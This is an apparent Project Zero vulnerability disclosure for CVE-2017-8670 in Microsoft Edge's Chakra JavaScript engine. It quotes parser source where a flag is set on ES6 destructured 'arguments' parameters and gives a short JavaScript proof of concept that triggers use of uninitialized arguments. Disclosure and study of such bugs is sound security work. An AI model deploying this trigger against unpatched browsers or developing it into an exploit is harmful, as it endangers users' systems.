Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments

Microsoft Edge: Chakra: Uninitialized arguments 2

CVE-2017-8670


Similar to the <a href="/p/project-zero/issues/detail?id=1297" title="Microsoft Edge: Chakra: Uninitialized arguments" class="closed_ref" rel="nofollow"> issue #1297 </a>. But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
    ...
    if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
    {
        ...
        // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
        for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
        {
            Assert(lexNode->IsVarLetOrConst());
            UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
            lexNode->sxVar.sym->SetSymbolType(STFormal);
            if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
            {
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam;  <<------ HERE
            }
        }
        ...
    ...
}

PoC:
function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt